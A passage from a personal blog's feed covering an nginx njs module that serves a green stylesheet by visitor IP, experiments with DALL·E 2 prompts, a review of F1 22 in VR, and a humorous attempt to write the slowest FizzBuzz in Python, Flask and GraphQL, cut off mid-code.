<p>I could change the values of EVERY OTHER HEADER except the ONE thing making the entire site break.</p>
<p>This means I had to make the "high grid intensity view" the exact same size at the low view, but with a few things changed. Which is now why this line of code is in the base HTML file:</p>
<pre class="prettyprint linenums"><code class="css language-css"><span class="hljs-selector-class">.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>{}
</code></pre>
<p>This has to be the exact same size as the CSS I'm replacing it with, any less and things get cut off, any more and the browser won't finish the request since it doesn't think it's done.</p>
<p><strong>Update 2023-01-17:</strong> This got fixed in a later nginx version, I don't have to do this anymore.</p>
<p>Anyway, here is the njs module for reference if you were curious:</p>
<pre class="prettyprint linenums"><code class="js language-js"><span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">&#x27;fs&#x27;</span>);

<span class="hljs-keyword">const</span> <span class="hljs-variable constant_">GREEN_CSS</span> = <span class="hljs-string">&quot;[removed for space reasons]&quot;</span>;

<span class="hljs-keyword">const</span> <span class="hljs-title function_">ip2int</span> = (<span class="hljs-params">ip: string</span>) =&gt;
  ip.<span class="hljs-title function_">split</span>(<span class="hljs-string">&#x27;.&#x27;</span>).<span class="hljs-title function_">reduce</span>(<span class="hljs-function">(<span class="hljs-params">ipInt, octet</span>) =&gt;</span> (ipInt&lt;&lt;<span class="hljs-number">8</span>) + <span class="hljs-built_in">parseInt</span>(octet, <span class="hljs-number">10</span>), <span class="hljs-number">0</span>) &gt;&gt;&gt; <span class="hljs-number">0</span>;

<span class="hljs-keyword">const</span> geoIp = (<span class="hljs-attr">r</span>: <span class="hljs-title class_">NginxHTTPRequest</span>, <span class="hljs-attr">data</span>: string, <span class="hljs-attr">flags</span>: <span class="hljs-title class_">NginxHTTPSendBufferOptions</span>): <span class="hljs-function"><span class="hljs-params">void</span> =&gt;</span> {
  <span class="hljs-keyword">if</span> (!r.<span class="hljs-property">uri</span>.<span class="hljs-title function_">endsWith</span>(<span class="hljs-string">&quot;.html&quot;</span>) || r.<span class="hljs-property">uri</span>.<span class="hljs-title function_">includes</span>(<span class="hljs-string">&quot;/spe_&quot;</span>)) {
    r.<span class="hljs-title function_">sendBuffer</span>(data, flags);
    r.<span class="hljs-title function_">done</span>();
    <span class="hljs-keyword">return</span>;
  }

  <span class="hljs-keyword">const</span> ip = r.<span class="hljs-property">headersIn</span>[<span class="hljs-string">&#x27;X-Real-IP&#x27;</span>] ? r.<span class="hljs-property">headersIn</span>[<span class="hljs-string">&#x27;X-Real-IP&#x27;</span>] : r.<span class="hljs-property">remoteAddress</span>;
  <span class="hljs-keyword">const</span> dec = <span class="hljs-title function_">ip2int</span>(ip).<span class="hljs-title function_">toString</span>();

  <span class="hljs-keyword">const</span> lines = fs.<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">&#x27;/opt/db/ip-dec.csv&#x27;</span>).<span class="hljs-title function_">toString</span>().<span class="hljs-title function_">split</span>(<span class="hljs-string">&#x27;\n&#x27;</span>);
  <span class="hljs-keyword">const</span> green = lines.<span class="hljs-title function_">some</span>(<span class="hljs-function">(<span class="hljs-params">l: string</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> [start, end] = l.<span class="hljs-title function_">split</span>(<span class="hljs-string">&#x27;,&#x27;</span>);
    <span class="hljs-keyword">return</span> ((dec &gt;= start) &amp;&amp; (dec &lt;= end));
  });

  <span class="hljs-keyword">const</span> cookies = r.<span class="hljs-property">headersIn</span>[<span class="hljs-string">&quot;Cookie&quot;</span>]?.<span class="hljs-title function_">split</span>(<span class="hljs-string">&quot;;&quot;</span>) || [];

  <span class="hljs-keyword">if</span> (
    !cookies.<span class="hljs-title function_">some</span>(<span class="hljs-function"><span class="hljs-params">x</span> =&gt;</span> x.<span class="hljs-title function_">trim</span>() === <span class="hljs-string">&quot;debug-black=yeppers&quot;</span>) &amp;&amp;
    (green || cookies.<span class="hljs-title function_">some</span>(<span class="hljs-function"><span class="hljs-params">x</span> =&gt;</span> x.<span class="hljs-title function_">trim</span>() === <span class="hljs-string">&quot;debug-green=yeppers&quot;</span>))
  ) {
    data = data.<span class="hljs-title function_">replace</span>(<span class="hljs-regexp">/.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.*/</span>, <span class="hljs-variable constant_">GREEN_CSS</span>);
    data = data.<span class="hljs-title function_">replace</span>(<span class="hljs-regexp">/\/img\/dither/g</span>, <span class="hljs-string">&quot;/img/normal&quot;</span>);
  }

  r.<span class="hljs-title function_">sendBuffer</span>(data, flags);
  r.<span class="hljs-title function_">done</span>();
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> { geoIp };
</code></pre>
<p>Since the green version of this site is currently only available in 10 countries, and you might want to see it for yourself, I added a debug cookie option to do that. Just create a cookie with the key-value of <code class="prettyprint">debug-green=yeppers</code> and do a hard reload of the page (to refresh the cache).</p>
<p>If you don't want to do that, or are viewing this from an archiving service that can't run the njs module, here's a small screenshot to help satiate your curiosity :)</p>
<p><img src="/img/green_blog.png" alt="blog but green" /></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[An Extremely Late Look At OpenAI's DALL·E 2]]></title>
        <id>https://justin.duch.me/post/looking_at_dalle</id>
        <link href="https://justin.duch.me/post/looking_at_dalle"/>
        <updated>2022-08-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>You know what sucks? Trying to draw pictures using a laptop touchpad, as I've been doing the past 4 years for this stupid blog.</p>
<p>I normally try to draw something at least <em>somewhat</em> topical to what the post is about, but sometimes I simply do not have the time, patience, and ability to actually draw what I plan.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>If you look at last post's image, you will see that I simply gave up :)</span></aside>
<p>Thankfully, the hot new thing in AI-world is an AI to generate art for you! So today, we're going to see if DALL·E 2 has what it takes to replace my amazing <a href="/post/art_gallery">art skills</a>.</p>
<p>First, what do I want drawn? Most of my usual drawings are pretty meta, so maybe something like this?</p>
<blockquote>
  <p>DALL-E 2 generating an image of itself</p>
</blockquote>
<p><img src="/img/dalle_1.png" alt="dalle drawing itself" /></p>
<p>Well… that's not exactly what I wanted, but I don't really know what I expected either way.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I'm picking the best one from the four DALL·E gives btw.</span></aside>
<p>I think it would be better with something more specific.</p>
<blockquote>
  <p>A cute robot called DALL-E 2 generating an image of itself</p>
</blockquote>
<p><img src="/img/dalle_2.png" alt="cute dalle drawing itself" /></p>
<p>Ah huh, okay, slightly better, but still not what I want.</p>
<p>Apparently, adding more descriptive words and stylistic modifiers helps a lot. Text is also rarely anything but gibberish, so I'm going to have to give up on calling the robot DALL-E 2.</p>
<blockquote>
  <p>3d render of a cute robot using a computer to draw images, digital art, artstation</p>
</blockquote>
<p><img src="/img/dalle_3.png" alt="3d render cute dalle drawing itself" /></p>
<p>Wow, that actually looks quite nice.</p>
<p>I don't really want a 3d render though, I just put it in to see what it would do. I would actually prefer the image to look like my usual drawings instead.</p>
<blockquote>
  <p>cartoon outline of a cute robot using a computer to draw images on a black background, digital art, artstation</p>
</blockquote>
<p><img src="/img/dalle_4.png" alt="cartoon cute dalle drawing itself" /></p>
<p>Fuck that's good. That's basically already what I want.</p>
<p>But I think we can go even further, let's try a little more prompt engineering and see what we can come up with.</p>
<blockquote>
  <p>cartoon outline of a cute robot using a computer to draw images on a black background, digital art, vibrant, cheerful, artstation</p>
</blockquote>
<p><img src="/img/dalle_5.png" alt="cartoon cute dalle drawing itself" /></p>
<blockquote>
  <p>cartoon coloured outline of a cute robot using a computer to draw images on a black background, digital art, vibrant, cheerful, artstation, trending, 4k</p>
</blockquote>
<p><img src="/img/dalle_6.png" alt="cartoon cute dalle drawing itself" /></p>
<blockquote>
  <p>cartoon coloured outline of a cute happy french robot using a computer to draw images on a black background, digital art, vibrant, cheerful, artstation, trending, 4k</p>
</blockquote>
<p><img src="/img/dalle_7.png" alt="cartoon cute dalle drawing itself" /></p>
<p>I thought making the robot French would make something funny, but I guess DALL·E thinks the robot's nationality doesn't change anything :(</p>
<p>Anyway, I'm starting to think that I'm going overboard with the descriptions. Let's tone it down a bit.</p>
<blockquote>
  <p>cartoon outline of a cute happy robot using a computer to draw images on a black background</p>
</blockquote>
<p><img src="/img/dalle_8.png" alt="cartoon cute dalle drawing itself" /></p>
<blockquote>
  <p>cartoon outline of a cute happy robot using a computer and drawing tablet to draw images on a black background</p>
</blockquote>
<p><img src="/img/dalle_9.png" alt="cartoon cute dalle drawing itself" /></p>
<p>So I guess you've already seen what image I actually used for this post, but as a reward for making this far into the post, I'll tell you what the prompt I used was.</p>
<p><strong>After</strong> we look at these other prompts I put in for fun.</p>
<blockquote>
  <p>cartoon outline of a 2022 formula one car from behind on a black background</p>
</blockquote>
<p><img src="/img/dalle_10.png" alt="car" /></p>
<p>This is absolutely not a 2022 F1 car from behind, which I specifically wanted so I could see if DALL·E could draw that beautiful diffuser they come with. This looks more like the behind of a mid 2000's F1 car, which is nowhere near as cool.</p>
<blockquote>
  <p>anime drawing of a rally car driving on a dirt road, artstation</p>
</blockquote>
<p><img src="/img/dalle_11.png" alt="car" /></p>
<blockquote>
  <p>cyberpunk rally car jumping over an aeroplane in front of a windmill</p>
</blockquote>
<p><img src="/img/dalle_12.png" alt="close enough i guess" /></p>
<p>I have at least 50 more car related ideas, but just for you I'll move onto something else :)</p>
<blockquote>
  <p>sydney in 2077 as a cyberpunk dystopian megacity, cgsociety artstation</p>
</blockquote>
<p><img src="/img/dalle_13.png" alt="sydney" /></p>
<p>I was expecting an image with the Sydney Harbour Bridge/Opera House or something like that to make sure you knew it was Sydney, but this actually very vaguely resembles a part of <a href="https://en.wikipedia.org/wiki/Darling_Harbour">Darling Harbour</a>, specifically the southern most side with the A4 motorway to the left, which I think is really neat. We can also kind of pretend the big round building is the IMAX that used to be there.</p>
<blockquote>
  <p>impressionist pikachu in eighteenth century europe climbing castle walls</p>
</blockquote>
<p><img src="/img/dalle_14.png" alt="pikachu" /></p>
<blockquote>
  <p>kirby eating cake</p>
</blockquote>
<p><img src="/img/dalle_15.png" alt="that isnt kirby" /></p>
<p>THAT ISN'T KIRBY?!?!?11</p>
<blockquote>
  <p>every overused visual aesthetic being sucked into a black hole of unoriginality, cgsociety artstation 4k</p>
</blockquote>
<p><img src="/img/dalle_16.png" alt="rip" /></p>
<blockquote>
  <p>corgi puppy walking in a forest next to a waterfall, low angle, digital art, artstation</p>
</blockquote>
<p><img src="/img/dalle_17.png" alt="corgi" /></p>
<p>I'm starting to run out of credits, so the next one will be my last.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>You get 50 credits to start and 15 more every month as a refill. Luckily, I only post about once a month so I ain't going to have to pay for shit.</span></aside>
<blockquote>
  <p>Colorless green ideas sleep furiously</p>
</blockquote>
<p><img src="/img/dalle_18.png" alt="F" /></p>
<p>haha get fked chomsky</p>
<hr />
<p>I must say, coming up with these prompts is actually pretty fun. Prompt engineering is harder that I thought it was, but even though I didn't put as much work into each prompt as a better "prompt engineer" would, I think they still turned out pretty good.</p>
<p>So that's it then. Now you can finally get that reward I promised you several images ago, I'll tell you what prompt I used for this post.</p>
<p>Here it is! Get ready for your mind to be blown!</p>
<blockquote>
  <p>cartoon outline of a cute happy french robot using a computer to draw images on a black background</p>
</blockquote>
<p>I'm sorry, I couldn't help myself. The robot was French this whole time :(</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Thoughts On F1 22 VR]]></title>
        <id>https://justin.duch.me/post/f1_22_vr</id>
        <link href="https://justin.duch.me/post/f1_22_vr"/>
        <updated>2022-07-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I've played every F1 game since 2015, and each one has been a buggy, un-optimised mess with shitty AI and terrible physics - and ooohh boy could I go on about the physics, there are just so many stupid things I could talk about… in fact, I think I will.</p>
<p>I simply do not fucking understand who they made these vehicle physics for.</p>
<p>The cars in the game understeer so much it's unbelievable. Look at all the esports setups with their crazy settings that would be horrible in real life because they're trying so hard to get the car to be able to actually rotate. None of these cars actually feel like they have any downforce, they understeer in low speed corners and they understeer in high speed corners.</p>
<p>Understeer-y car physics are usually made for casual players because they're easier to control (like Gran Turisimo, Forza, etc) and more friendly to drive with a controller. So this is supposed to be an easy to pick up and play game right?</p>
<p>NOPE. LET'S TALK ABOUT THE FUCKN TRACTION (OR THE COMPLETE AND UTTER LACK OF IT).</p>
<p>F1 cars do not use traction control, so I don't use traction control in this game which means I'd expect to be required to do some throttle control to manage the torque given to the wheels. What I don't expect is to have FORMULA ONE CARS, THE "PINNACLE OF MOTORSPORT ENGINEERING", WHEELSPIN IN THIRD FUCKING GEAR.</p>
<p>Lando Norris even said so himself that the cars don't have enough traction and medium traction control felt like the most accurate setting.</p>
<p>What the fuck is wrong with the traction in this game? Why did they make it like this???? This is not realistic, nor does it make it accessible for casuals.</p>
<p>Yes, a casual player could just put on traction control and be fine. I'd agree with that expect for the fact that traction control in this game feels FUCKING HORRIBLE. The car becomes incredibly sluggish and feels completely unresponsive to your inputs.</p>
<p>These are sim-cade racing games that take the worst aspects of arcade and simulation physics. It's too hard (and the option to makes it easier, makes the car feel like a boat) for the casuals who prefer arcade racers, and too vague/unrealistic for the try-hard sim racers.</p>
<p>So why have I bought these games every year for the last 7 years?</p>
<p>Well, that should be pretty obvious. Codemasters has the F1 license, so they're the only one that makes F1 games and I want to play F1 games.</p>
<p>I'm lucky that I play on PC so I actually have a few alternatives to the official games. Things like the RaceSimStudio Formula Hybrid mods in Assetto Corsa, the Formula Hybrid cars in Automobolilista 2, and of course, the Mercedes W12 in iRacing.</p>
<p>These are all great, and in terms of car handling and general physics, each are a thousand times better than the official games. They're all different in terms how arcade/sim like they are, but what matters is that they're all believable, and they're all sort of what I'd expect an F1 car to feel like in real life.</p>
<p>But none of them are the F1 games. They don't give you the F1 "experience" that only an official game could.</p>
<p>I'm no try-hard sim racer, so the "immersion" of pretending to be an F1 driver is actually pretty important for me. Going through all the official tracks in the season, having to deal with things like the safety car, and all the rules and regulations.</p>
<p>It's these things that the official games are "good"<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> at, making a believable F1 race weekend in everything but driving physics.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Putting quotations here because they could certainly be a lot better. For starters, the bugs certainly aren't helping.</span></aside>
<p>Whenever I see news of a new F1 game, I look forward to the new features they add to the external immersion of the game, because they do add them. I liked the car development feature, and MyTeam and team management in general is pretty cool.</p>
<p>So, what did they add this year?</p>
<p>Wardrobes and supercars.</p>
<p>I have nothing to say about these and I wouldn't want to talk about them if I did. Is there anything else?</p>
<p>There is! And this single feature has <em>officially</em> made F1 22 the first F1 game I can confidently say that I <strong>like</strong>.</p>
<p>Virtual reality.</p>
<p>This almost makes me not give a shit that the physics are terrible because HOLY SHIT I'M IN THE FUCKING CAR.</p>
<p>You know those awesome helmet cam shots we sometimes get in real life F1? This is that, but I'M doing it.</p>
<p>I have to look in the mirrors.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> I have to search for the apex.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I actually un-bound the look back button to force me to look in the mirrors.</span></aside>
<p>The sense of speed is amazing, and for the first time I think I actually understand how fast these cars are. Elevation changes actually look and feel like elevation changes. Not having a HUD to tell you everything about what's happening, and needing to actually look down at the steering wheel to see what little information it does give is also a cool experience.</p>
<p>Between having to drive, constantly looking around and being alert of other cars, and managing little settings from the wheel, it gave me a serious appreciation for what the real life drivers actually have to do.</p>
<p>All the alternatives I talked about have a VR mode, that's true. But it's VR added with the external immersive qualities of the official games that honestly makes it quite something.</p>
<p>However, it wouldn't be a Codemasters game if it didn't have serious issues and once again it seems like they should be called Bugmasters instead.</p>
<p>Judging from what I've seen elsewhere, I'm actually quite lucky the VR works for me as well as it does. I've seen people complain of terrible lag and head tracking, or it being very blurry.</p>
<p>The only issue I had was that having my pedals connected directly to the PC would destroy the framerate, but there was a workaround and it got fixed about a week after launch.</p>
<p>My biggest complaint with the game now (apart from the physics, I don't actually think Codemasters will ever make them better), is the AI. They're just so inconsistent from race to race. One race I'll be several tenths a lap faster than my closet competitors, next race I'll be several tenths slower.</p>
<p>It's really annoying trying to find the correct AI level. There is a setting for "adaptive AI" which changes the AI difficulty on the fly according to how you're doing in a race, but this is only available if you use the "casual" settings mode which would take me out of the options to turn some driving assists off.</p>
<p>So now, I'm hoping that since Codemasters is getting the WRC license next year, we'll finally get a WRC game<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> with VR :) I mean DiRT Rally 2.0 had VR and that game was pretty good, if they just made DR2: WRC Edition I'd honestly be pretty happy.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Again, I could just play Richard Burns Rally with mods for WRC cars which would probably still have better physics than whatever Codemasters comes up with, but it's the same issue here - it's not the complete WRC "experience".</span></aside>
<p>And you know what else I want to have VR? The upcoming F1 manager game.</p>
<p>Holy shit that would be the dream. If there's anything I like more than pretending to drive cars, it's pretending to engineer, build, and manage them.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Low Throughput FizzBuzz]]></title>
        <id>https://justin.duch.me/post/slowest_fizzbuzz</id>
        <link href="https://justin.duch.me/post/slowest_fizzbuzz"/>
        <updated>2022-06-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>There's this fun code golf challenge to create the <a href="https://codegolf.stackexchange.com/questions/215216/high-throughput-fizz-buzz">fastest possible FizzBuzz implementation.</a> It's basically an exercise on optimising I/O (as writing out the bytes is the most computationally expensive part of FizzBuzz), which has led to some insanely impressive submissions.</p>
<p>The fastest submission averaged at 55 GiB/s, and included a comment that said it "[…] is future-proofed where possible to be able to run faster if the relevant processor bottleneck – L2 cache write speed – is ever removed."</p>
<p>Being able to write code where your <strong>bottleneck</strong> is L2 cache is basically fucking wizardry to me.</p>
<p>I was going to try my hand at attempting this challenge for this post, but then I remembered something important - I'm actually a pretty shit programmer.</p>
<p>Here's the example answer from the challenge that's written in C.</p>
<pre class="prettyprint linenums"><code class="c language-c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {
    <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">1</span>; i &lt; <span class="hljs-number">1000000000</span>; i++) {
        <span class="hljs-keyword">if</span> ((i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>) &amp;&amp; (i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>)) {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;FizzBuzz\n&quot;</span>);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>) {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Fizz\n&quot;</span>);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>) {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Buzz\n&quot;</span>);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;%d\n&quot;</span>, i);
        }
    }
}
</code></pre>
<p>Turns out, I <strong>don't</strong> know how to make this faster. It's already written in C, which is the lowest level language I know how to write, and I don't know how to do any fancy memory buffer stuff so I'm all out of ideas.</p>
<p>Instead let's do something that I <strong>can</strong> do, something that I specialise in: making slow-ass code.</p>
<p>I'll need to have one restriction however. Technically, the slowest FizzBuzz could just have a <code class="prettyprint">sleep</code> operation that goes on for an indefinite amount of time, but that would be no fun. I want to keep this as "reasonable" as possible, like it was something someone would actually do.</p>
<p>As a benchmark, the example given in C gives 235 MiB/s on my computer. Now, let's see how slow this can go :)</p>
<hr />
<p>First of all, we need to get rid of C. A compiled language that well known for being performant? Come on, we can do better (or worse in this case).</p>
<p>I don't really know what the "slowest" programming language is, but I'm pretty sure it's either Ruby or Python, and since I know Python better, I'm going to go with that. I could find some super unknown/toy language that has not had many performance optimisations done to it, but I think that goes against the "reasonable" rule.</p>
<p>So, here's FizzBuzz in Python.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1000000000</span>):
    <span class="hljs-keyword">if</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;FizzBuzz&quot;</span>)
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Fizz&quot;</span>)
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Buzz&quot;</span>)
    <span class="hljs-keyword">else</span>:
        <span class="hljs-built_in">print</span>(i)
</code></pre>
<p>Running this gives me 21 MiB/s, a 91% decrease from the benchmark already!</p>
<hr />
<p>I mentioned earlier that this challenge was an exercise in optimising I/O. Do you know what is the slowest form of I/O? Network requests! Time to make a FizzBuzz micro-service<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> :)</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I'm already hating this.</span></aside>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#</span>
<span class="hljs-comment"># server.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, request

app = Flask(__name__)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&quot;/&quot;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">fizzbuzz</span>():
    i = <span class="hljs-built_in">int</span>(request.args[<span class="hljs-string">&quot;i&quot;</span>])

    <span class="hljs-keyword">if</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;FizzBuzz&quot;</span>
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Fizz&quot;</span>
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Buzz&quot;</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">str</span>(i)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    app.run(debug=<span class="hljs-literal">True</span>)

<span class="hljs-comment">#</span>
<span class="hljs-comment"># client.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-keyword">import</span> requests

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1000000000</span>):
        res = requests.get(<span class="hljs-string">f&quot;http://127.0.0.1:5000/?i=<span class="hljs-subst">{i}</span>&quot;</span>)
        <span class="hljs-built_in">print</span>(res.text)
</code></pre>
<p>I could be making this much worse by hosting the server across the world from me, but this is now running at a measly 9 KiB/s - which is a further 99.9% decrease. I'd rather not kick a man while he's down.</p>
<hr />
<p>To be honest, I'm already not sure of what else we can do. Going from 235 MiB/s to 9 KiB/s is already huge,<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> and I don't think we will get another step back in performance like we did with the last one.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>To make the difference easier to understand, let's use the same units. 235 MiB is 240640 KiB.</span></aside>
<p>Let's just try adding some "reasonable" overhead. Something like… GraphQL?</p>
<p>Every GraphQL query goes through three phases: parsing, validation and execution.</p>
<ol>
<li>Parse: The query is parsed into an abstract syntax tree (AST).</li>
<li>Validate: The AST is validated against the schema.</li>
<li>Execute: The runtime walks through the AST, starting from the root of the tree, invokes resolvers, collects up results, and emits JSON.</li>
</ol>
<p>All of these phases introduce additional computational cost to the network request. I don't think it will be by much since we'll be doing very simple queries, but hopefully the slow down will at least be noticeable.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#</span>
<span class="hljs-comment"># server.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-keyword">from</span> ariadne <span class="hljs-keyword">import</span> (
    QueryType, gql, make_executable_schema, graphql_sync
)
<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, request, jsonify

type_defs = gql(<span class="hljs-string">&quot;&quot;&quot;
    type Query {
        fizzbuzz(i: Int!): String!
    }
&quot;&quot;&quot;</span>)

query = QueryType()

<span class="hljs-meta">@query.field(<span class="hljs-params"><span class="hljs-string">&quot;fizzbuzz&quot;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">resolve_fizzbuzz</span>(<span class="hljs-params">*_, i</span>):
    <span class="hljs-keyword">if</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;FizzBuzz&quot;</span>
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Fizz&quot;</span>
    <span class="hljs-keyword">elif</span> i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Buzz&quot;</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">str</span>(i)

schema = make_executable_schema(type_defs, query)
app = Flask(__name__)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&quot;/graphql&quot;</span>, methods=[<span class="hljs-string">&quot;POST&quot;</span>]</span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">graphql_server</span>():
    data = request.get_json()

    _, result = graphql_sync(
        schema,
        data,
        context_value=request,
        debug=app.debug
    )

    <span class="hljs-keyword">return</span> jsonify(result)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    app.run(debug=<span class="hljs-literal">True</span>)

<span class="hljs-comment">#</span>
<span class="hljs-comment"># client.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-keyword">from</span> gql <span class="hljs-keyword">import</span> gql, Client
<span class="hljs-keyword">from</span> gql.transport.aiohttp <span class="hljs-keyword">import</span> AIOHTTPTransport

transport = AIOHTTPTransport(url=<span class="hljs-string">&quot;http://127.0.0.1:5000/graphql&quot;</span>)
client = Client(transport=transport, fetch_schema_from_transport=<span class="hljs-literal">True</span>)

query = gql(<span class="hljs-string">&quot;&quot;&quot;
    query FizzBuzz($i: Int!) {
        fizzbuzz(i: $i)
    }
&quot;&quot;&quot;</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1000000000</span>):
        result = client.execute(query, variable_values={<span class="hljs-string">&quot;i&quot;</span>: i})
        <span class="hljs-built_in">print</span>(result[<span class="hljs-string">&quot;fizzbuzz&quot;</span>])
</code></pre>
<p>Well, that got it down to 7 KiB/s (another 22% decrease). Let's keep going.</p>
<hr />
<p>I have an idea though it might be stretching the term "reasonable" a bit, but what say we use the second slowest form of I/O - opening and reading files? We can pre-compute FizzBuzz, save it to a text file, and read that instead of computing it on the fly (which would normally be much faster for such a small operation).</p>
<p>Seems like a good idea to me!</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment">#</span>
<span class="hljs-comment"># make_fizzbuzz.py</span>
<span class="hljs-comment">#</span>

<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;fizzbuzz.txt&quot;</span>, <span class="hljs-string">&quot;w+&quot;</span>) <span class="hljs-keyword">as</span> f:
